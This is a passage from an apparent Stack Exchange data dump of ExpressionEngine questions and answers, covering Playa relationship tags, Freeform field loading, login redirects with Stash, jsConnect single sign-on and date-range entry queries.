class=&quot;excerpt&quot;&amp;gt;&#xA;    {exp:eehive_hacksaw words=&quot;55&quot; append=&quot;&amp;amp;#8230;&quot;}&#xA;        {exp:smartdown} {summary} {body} {/exp:smartdown}&#xA;    {/exp:eehive_hacksaw}&#xA;&#xA;{mtrx_images}    &#xA;    {exp:lg_replace:replacement needle=&quot;image_{row_count}&quot;}&#xA;        &amp;lt;a href=&quot;{img}&quot; title=&quot;{img-caption}&quot;&amp;gt;{exp:ce_img:single src=&quot;{img}&quot; width=&quot;70&quot; alt=&quot;{img-caption}&quot; class=&quot;left&quot; title=&quot;{img-caption}&quot;}&amp;lt;/a&amp;gt;&#xA;    {/exp:lg_replace:replacement}   &#xA;{/mtrx_images}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;excerpt smallcaps&quot;&amp;gt;{if channel_id==&quot;1&quot;}&amp;lt;a href=&quot;/news/view/{url_title}&quot;&amp;gt;{/if}{if channel_id==&quot;4&quot;}&amp;lt;a href=&quot;/articles/view/{url_title}&quot;&amp;gt;{/if}&amp;amp;raquo; Read This&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:lg_replace:haystack} &#xA;&amp;lt;/div&amp;gt;&#xA;{/thanks_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Used in a similar manner in another location, I've wrapped the entire playa tags inside an if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if static_playa_related_posts}&#xA;    {static_playa_related_posts limit=&quot;15&quot;}&#xA;     ...STUFF....&#xA;     {/static_playa_related_posts}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditDate="2013-04-12T04:52:27.730" LastActivityDate="2013-04-12T04:52:27.730" Title="Re-writing Playa tags to disable the Playa extension for better site performance" Tags="|templates|playa|performance|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9264" PostTypeId="2" ParentId="9263" CreationDate="2013-04-12T04:19:37.133" Score="3" Body="&lt;p&gt;Here is what worked. Discussion follows below the code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children &#xA;    field=&quot;static_playa_related_posts&quot;&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    var_prefix=&quot;child&quot;&#xA;    limit=&quot;8&quot; &#xA;    }&#xA;&amp;lt;div class=&quot;related blurb&quot;&amp;gt;&#xA;{exp:lg_replace:haystack needles=&quot;{child:mtrx_images backspace=&quot;1&quot;}image_{row_count}|{/child:mtrx_images}&quot;}&#xA;&#xA;&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{child:comment_url_title_auto_path}&quot;&amp;gt;{child:title}&amp;lt;/a&amp;gt; &amp;lt;/h4&amp;gt;&#xA;&#xA;&amp;lt;p class=&quot;excerpt&quot;&amp;gt;&#xA;    {exp:eehive_hacksaw words=&quot;55&quot; append=&quot;&amp;amp;#8230;&quot;}&#xA;        {exp:smartdown} {child:summary} {child:body} {/exp:smartdown}&#xA;    {/exp:eehive_hacksaw}&#xA;&#xA;{child:mtrx_images}    &#xA;    {exp:lg_replace:replacement needle=&quot;image_{row_count}&quot;}&#xA;        &amp;lt;a href=&quot;{img}&quot; title=&quot;{img-caption}&quot;&amp;gt;{exp:ce_img:single src=&quot;{img}&quot; width=&quot;70&quot; alt=&quot;{img-caption}&quot; class=&quot;left&quot; title=&quot;{img-caption}&quot;}&amp;lt;/a&amp;gt;&#xA;    {/exp:lg_replace:replacement}   &#xA;{/child:mtrx_images}&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p class=&quot;excerpt smallcaps right&quot;&amp;gt;&amp;lt;a href=&quot;{child:comment_url_title_auto_path}&quot;&amp;gt;&amp;amp;raquo; Read This&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:lg_replace:haystack} &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The matrix field tag pair {mtrx_images} {/mtrx_images} both got the child: prefix in both places where they were used. {child:mtrx_images} {/child:mtrx_images}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The matrix field's contents did NOT have any prefix applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {if channel_id==&quot;1&quot;} set of statements did not survive this method, tho.&#xA;Instead, I used {comment_url_title_auto_path} and gave it the prefix. {child:comment_url_title_auto_path}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, for the example where everything was wrapped by a conditional, the IF used the name of the playa field, and the more detailed exp:playa:children markup went inside it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if static_playa_related_posts}&#xA;&#xA;{exp:playa:children &#xA;    field=&quot;static_playa_related_posts&quot;&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;    var_prefix=&quot;child&quot;&#xA;    limit=&quot;15&quot; &#xA;    }&#xA;&#xA;.......&#xA;&#xA;{/exp:playa:children}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Then I uninstalled the Playa extension (but kept the Field Type and Module installed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory usage on the original page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;BEFORE&lt;/em&gt;    &lt;strong&gt;28 MB&lt;/strong&gt;   (30,207,216 bytes)&lt;br&gt;&#xA;&lt;em&gt;AFTER&lt;/em&gt; &lt;strong&gt;19.5 MB&lt;/strong&gt; (20,432,320 bytes) &lt;/p&gt;&#xA;" OwnerUserId="143" LastEditorUserId="143" LastEditDate="2013-04-12T04:51:04.787" LastActivityDate="2013-04-12T04:51:04.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9265" PostTypeId="2" ParentId="9261" CreationDate="2013-04-12T05:04:45.363" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.intoeetive.com/index.php/comments/entry-linking-plugin-for-ee-2.x&quot; rel=&quot;nofollow&quot;&gt;Entry linking plugin&lt;/a&gt; would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-12T05:04:45.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9266" PostTypeId="2" ParentId="9228" CreationDate="2013-04-12T07:36:54.733" Score="0" Body="&lt;p&gt;@Jim Wyse&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you find out why the following piece of code doesn't work on my Windows machine? It also outputs an empty array. The vars $this-&gt;default_path and $this-&gt;data-&gt;defaults['default_fields'] are filled with data. Maybe it could be related to the &lt;strong&gt;glob&lt;/strong&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;File:&lt;/strong&gt; Freeform_fields.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Line:&lt;/strong&gt; 296&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $default_fields = glob(&#xA;        $this-&amp;gt;default_path . 'freeform_ft.{' .&#xA;            implode(',', $this-&amp;gt;data-&amp;gt;defaults['default_fields']) . '}.php',&#xA;        GLOB_BRACE&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I temporarly fixed it by creating the &lt;strong&gt;$default_fields&lt;/strong&gt; array and pushed the file paths in there with the &lt;strong&gt;array_push&lt;/strong&gt; method(not fully dnynamic like the code posted above).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    //Create an array&#xA;    $default_fields = array();&#xA;&#xA;    //Foreach default field in default fields&#xA;    foreach($this-&amp;gt;data-&amp;gt;defaults['default_fields'] as $default_field)&#xA;    {&#xA;        //Push file path to default fields array&#xA;        array_push($default_fields, '../system/expressionengine/third_party/freeform/default_fields/freeform_ft.'.$default_field.'.php');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="171" LastActivityDate="2013-04-12T07:36:54.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9267" PostTypeId="2" ParentId="9262" CreationDate="2013-04-12T07:55:24.217" Score="0" Body="&lt;p&gt;Close. The cost of an EE1 to EE2 upgrade is $50. (but what's 5 cents here and there ;)). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly as far as I know there is no upgrade price anymore for Cartthrob from v1 to v2. CT2 has long been established and they've since brought out a slim lined version called Cartthrob Lite which just provides the basics. Unfortunately the cost of CT2 Pro has now gone up considerably to $300 and the support seems to now be absent in all areas so give it some careful consideration when quoting.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T07:55:24.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9268" PostTypeId="2" ParentId="9255" CreationDate="2013-04-12T08:30:20.257" Score="1" Body="&lt;p&gt;It sounds like, although it's not entirely clear how your relationship is defined, is that you're just coming at it from the wrong end of the relationship. If the entry is a &lt;strong&gt;&lt;em&gt;product&lt;/em&gt;&lt;/strong&gt; and the relationship is defined in this entry to FAQ pages then you need to be calling the &lt;strong&gt;&lt;em&gt;children&lt;/em&gt;&lt;/strong&gt; of this entry rather than the &lt;strong&gt;&lt;em&gt;parent&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Parent&lt;/strong&gt;: The entry that has the Playa field.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Child&lt;/strong&gt;: The entry that you selected in the Playa field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Have you tried &lt;code&gt;{exp:playa:children}&lt;/code&gt; instead of parent?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T08:30:20.257" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9269" PostTypeId="2" ParentId="9261" CreationDate="2013-04-12T08:49:17.180" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://engaging.net/docs/nearby-entries&quot; rel=&quot;nofollow&quot;&gt;Nearby Entries&lt;/a&gt; will probably be your best bet as it includes the required parameters in your example: year, month, and url_title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By way of a similar example for /year/month/day/url_title format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;nextprev nextprev-single&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;nextprev-arrow&quot;&amp;gt;&amp;amp;lsaquo;&amp;lt;/span&amp;gt;&#xA;        {exp:nearby_entries:prev this_urltitle=&quot;{segment_4}&quot; this_channel=&quot;blog&quot; debug=&quot;n&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;a href=&quot;{path=/}&amp;lt;?php echo date(&quot;Y/m/d&quot;, &quot;{nearby:entry_date}&quot;); ?&amp;gt;/{nearby:url_title}&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;nextprev-post&quot;&amp;gt;Previous Post&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;nextprev-single-link-title&quot;&amp;gt;{nearby:title}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {/exp:nearby_entries:prev}&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.nav-previous --&amp;gt;&#xA;    &amp;lt;div class=&quot;nav-next&quot;&amp;gt;&#xA;        {exp:nearby_entries:next this_urltitle=&quot;{segment_4}&quot; this_channel=&quot;blog&quot; debug=&quot;n&quot; limit=&quot;1&quot;}&#xA;        &amp;lt;a href=&quot;{path=/}&amp;lt;?php echo date(&quot;Y/m/d&quot;, &quot;{nearby:entry_date}&quot;); ?&amp;gt;/{nearby:url_title}&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;nextprev-post&quot;&amp;gt;Next Post&amp;lt;/span&amp;gt;&#xA;            &amp;lt;span class=&quot;nextprev-single-link-title&quot;&amp;gt;{nearby:title}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {/exp:nearby_entries:next}&#xA;        &amp;lt;span class=&quot;nextprev-arrow&quot;&amp;gt;&amp;amp;rsaquo;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.nav-next --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.nextprev --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure to set PHP parsing to '&lt;em&gt;inward&lt;/em&gt;' for your template.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T08:49:17.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9270" PostTypeId="2" ParentId="9238" CreationDate="2013-04-12T09:07:41.713" Score="2" Body="&lt;p&gt;How about trying this on it's own (without a hidden input field) using the freeform_values addon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;optin&quot; value=&quot;Y&quot; {if '{freeform:value:optin}' == 'Y'}checked{/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure that the name of your checkbox field is in fact &quot;&lt;em&gt;optin&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that work?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T09:07:41.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9271" PostTypeId="2" ParentId="9253" CreationDate="2013-04-12T09:18:32.133" Score="1" Body="&lt;p&gt;Are you talking about a member login area in the front-end templates or in the control panel? I'm using the latest version of Chrome and I don't have that problem with either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like a session or cookie problem. In Admin &gt; Security &amp;amp; Privacy &gt; Security &amp;amp; Sessions, what do you have your Control Panel Session and User Session set to? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wNKui.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T09:18:32.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9272" PostTypeId="2" ParentId="9232" CreationDate="2013-04-12T09:53:20.517" Score="1" Body="&lt;p&gt;Have you tried &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; instead of &lt;code&gt;\n&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-12T09:53:20.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9273" PostTypeId="2" ParentId="7579" CreationDate="2013-04-12T09:54:15.080" Score="1" Body="&lt;p&gt;Yeah, this is a bit of a problem. I usually just ensure I always JOIN my custom table back to &lt;code&gt;exp_channel_titles&lt;/code&gt; when I access data, so that if the entry has been deleted without my knowledge, it will not show up in the SQL query results.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-12T09:54:15.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9274" PostTypeId="2" ParentId="9257" CreationDate="2013-04-12T09:54:17.380" Score="1" Body="&lt;p&gt;As mentioned, it was the Apache virtual hosts setup that was wrong.&lt;/p&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2013-04-12T09:54:17.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9275" PostTypeId="1" CreationDate="2013-04-12T10:19:43.293" Score="0" ViewCount="211" Body="&lt;p&gt;With the Control Panel, is there a way to show an entries modified date within the entry listings rather than the creation date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it's possible with Zenbu but since that's all I would need it for purchasing that add-on would seem a little over the top.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-04-12T16:05:48.833" Title="How to show entry modified date in CP entry listings?" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-18T00:46:32.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="9276" PostTypeId="2" ParentId="9251" CreationDate="2013-04-12T10:24:53.190" Score="1" Body="&lt;p&gt;Found a great solution this morning. We are now using stash to set values before pages are redirected and then to get the value on the login template. It is fairly similar to nonprofit_tech's suggestion above, except this is all handled on a single page which is being set for all our redirects. So if a user has no access to a page, they are sent to the site's index. Then if they are logged out, set a stash variable, and redirect them to the login template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;    {exp:stash:set name=&quot;preLoginUrl&quot; scope=&quot;user&quot; save=&quot;yes&quot;}{site_url}{segment_1}{if segment_2}/{segment_2}{/if}{if segment_3}/{segment_3}{/if}{/exp:stash:set}&#xA;    {redirect='login'}&#xA;{if:else}&#xA;    ...perform a bunch of routing here...&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on the login template (using a zoo visitor login form):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:login_form error_handling=&quot;inline&quot;}&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;{exp:stash:get name=&quot;preLoginUrl&quot; process=&quot;inline&quot;}&quot; /&amp;gt;&#xA;&#xA;                    {if &quot;{error:login}&quot; != &quot;&quot;}&#xA;                    &amp;lt;div class=&quot;content dashed-bottom error-holder&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;tag danger&quot;&amp;gt;{error:login}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;fieldset-holder cf&quot;&amp;gt;&#xA;                        &amp;lt;fieldset&amp;gt;&#xA;                            &amp;lt;label&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;username&quot;&amp;gt;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;fieldset&amp;gt;&#xA;                            &amp;lt;label&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input name=&quot;password&quot; type=&quot;password&quot;&amp;gt;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;fieldset class=&quot;inline grid-33&quot;&amp;gt;&#xA;                            &amp;lt;label for=&quot;loginButton&quot; class=&quot;button block primary&quot;&amp;gt;&amp;lt;i class=&quot;icon-key&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;span&amp;gt;Sign In&amp;lt;/span&amp;gt;&#xA;                                &amp;lt;input id=&quot;loginButton&quot; class=&quot;hide-submit&quot; type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;                            &amp;lt;/label&amp;gt;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                        &amp;lt;fieldset class=&quot;inline grid-66 text align-right&quot;&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&amp;lt;a href=&quot;{site_url}login/reset/&quot; class=&quot;link&quot;&amp;gt;Forgot your password?&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/fieldset&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {/exp:zoo_visitor:login_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We tried everything from cookies to using php referrer headers and nothing worked apart from stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps someone else out.&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-04-12T10:24:53.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9277" PostTypeId="1" CreationDate="2013-04-12T10:54:46.120" Score="1" ViewCount="118" Body="&lt;p&gt;A recent import using Solspace importer where I just wanted to update a standard file field (NOT an asset field) has had the unfortunate side effect that in my assets file manager and assets fields all subfolders have gone missing.&#xA;When I try to recreate a subfolder I get an alert telling me the folder already exists, but it's not visible in the asset file manager.&#xA;All the data that's in the entry form is still correct but when trying to upload a file all subfolders have gone missing as well as in the assets file manager.&#xA;Any suggestions on how to get these back?&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2013-04-12T12:53:12.520" LastActivityDate="2013-05-16T12:25:22.903" Title="Assets2 subfolders have gone missing" Tags="|pixelandtonic|assets|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9278" PostTypeId="1" AcceptedAnswerId="9280" CreationDate="2013-04-12T11:21:43.950" Score="1" ViewCount="1125" Body="&lt;p&gt;can you help me writing this lines of code for grab in a EE template the information about a logged_in user, using php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Vanilla Forum, and i want to use the JsConnect to pass the logged_in user information to the Vanilla Log in. Here's the guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vanillaforums.com/blog/help/implementing-jsconnect-single-signon-on/&quot; rel=&quot;nofollow&quot;&gt;Implementing Vanilla jsConnect Single-Signon on your Site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that libraries to include in system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/vanillaforums/jsConnectPHP&quot; rel=&quot;nofollow&quot;&gt;PHP jsConnect client library&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the code to include in my page template is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once dirname(__FILE__).'/functions.jsconnect.php';&#xA;&#xA;// 1. Get your client ID and secret here. These must match those in your jsConnect settings.&#xA;$clientID = &quot;1234&quot;;&#xA;$secret = &quot;1234&quot;;&#xA;&#xA;// 2. Grab the current user from your session management system or database here.&#xA;$signedIn = true; // this is just a placeholder&#xA;&#xA;// YOUR CODE HERE.&#xA;&#xA;// 3. Fill in the user information in a way that Vanilla can understand.&#xA;$user = array();&#xA;&#xA;if ($signedIn) {&#xA;   // CHANGE THESE FOUR LINES.&#xA;   $user['uniqueid'] = '123';&#xA;   $user['name'] = 'John PHP';&#xA;   $user['email'] = 'john.php@anonymous.com';&#xA;   $user['photourl'] = '';&#xA;}&#xA;&#xA;// 4. Generate the jsConnect string.&#xA;&#xA;// This should be true unless you are testing. &#xA;// You can also use a hash name like md5, sha1 etc which must be the name as the connection settings in Vanilla.&#xA;$secure = true; &#xA;WriteJsConnect($user, $_GET, $clientID, $secret, $secure);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i call the logged_in user info here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 2. Grab the current user from your session management system or database here.&#xA;$signedIn = true; // this is just a placeholder&#xA;&#xA;// YOUR CODE HERE.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in}&#xA;UniqueID={member_id}&#xA;Name={username}&#xA;Email={email}&#xA;PhotoUrl={photo_url}{photo_filename}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And assign that the variables to pass to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// 3. Fill in the user information in a way that Vanilla can understand.&#xA;$user = array();&#xA;&#xA;if ($signedIn) {&#xA;   // CHANGE THESE FOUR LINES.&#xA;   $user['uniqueid'] = '123';&#xA;   $user['name'] = 'John PHP';&#xA;   $user['email'] = 'john.php@anonymous.com';&#xA;   $user['photourl'] = '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To generate a json file that vanilla JsConnect can read?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once dirname(__FILE__).'/functions.jsconnect.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;return error in ExpressionEngine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please somebody can tell me how can solve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&#xA;Alessio &lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-04-12T12:36:58.867" Title="Grab logged_in user info in PHP template and assign variables" Tags="|templates|php|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9279" PostTypeId="1" AcceptedAnswerId="9285" CreationDate="2013-04-12T11:53:29.350" Score="0" ViewCount="121" Body="&lt;p&gt;I suspect there's a simple query to be able to do this but it's not something I've tried before. I'm trying to create a user-friendly way for a client to, from within the category edit screen, to indicate that a given category should or should not display within a drop down on the site. The general idea is that while they may have 20 categories, only 3-5 of them would be seen as &quot;primary&quot; and therefore should display in the dropdown menu at the top of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for user friendliness, I though adding a custom category field with a simple select list of no vs. yes would be the way to go.  But the channel categories loop doesn't have a search parameter, so I suspect that I will need a query to loop through the categories in the given group and pull out only those with the custom category field of &quot;display&quot; with a value of &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can a query expert out there help me out?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-12T13:36:44.670" Title="Need a query to display limited subset of categories based on custom category field value" Tags="|categories|search|query|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9280" PostTypeId="2" ParentId="9278" CreationDate="2013-04-12T12:36:58.867" Score="1" Body="&lt;p&gt;If this is in a template you can just use:&#xA;{member_id}&#xA;{username}&#xA;{email}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use all php you can use the Session class:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user['uniqueid'] = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;$user['name'] = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('username');&#xA;$user['email'] = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('email');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'd probably be better off writing an extension that takes care of this at login than in a template.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-04-12T12:36:58.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9281" PostTypeId="1" AcceptedAnswerId="9284" CreationDate="2013-04-12T12:50:44.677" Score="3" ViewCount="1254" Body="&lt;p&gt;I am attempting to display entries from a specific channel 7 days before and 7 days after an entry_date from another entry. I don't want to use a plugin because. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's how I am getting / calculating the 7 days prior / 7 days after:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pd_request_form&quot; entry_id=&quot;{segment_2}&quot;} &amp;lt;?php $php_7_days_before = date (&quot;Y-m-d H:i&quot;, floor('{entry_date}' - 604800)); ?&amp;gt;{/exp:channel:entries}&#xA;{exp:channel:entries channel=&quot;pd_request_form&quot; entry_id=&quot;{segment_2}&quot;} &amp;lt;?php $php_7_days_after = date (&quot;Y-m-d H:i&quot;, floor('{entry_date}' + 604800)); ?&amp;gt;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what works:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pd_request_form&quot; dynamic=&quot;no&quot; start_on=&quot;2013-01-10 00:00&quot; stop_before=&quot;2013-01-24 00:00&quot;}&#xA;&#xA;    {title} - {entry_date}&amp;lt;br /&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The dynamic=&quot;no&quot; is there because the URL has an entry_id in it. I see entries I would expect to see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what also works:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $php_7_days_before; ?&amp;gt;&#xA;&amp;lt;?php echo $php_7_days_after; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I say it works I mean, it produces output that looks correct to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But here is what isn't working:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pd_request_form&quot; dynamic=&quot;no&quot; start_on=&quot;&amp;lt;?php echo $php_7_days_before; ?&amp;gt;&quot; 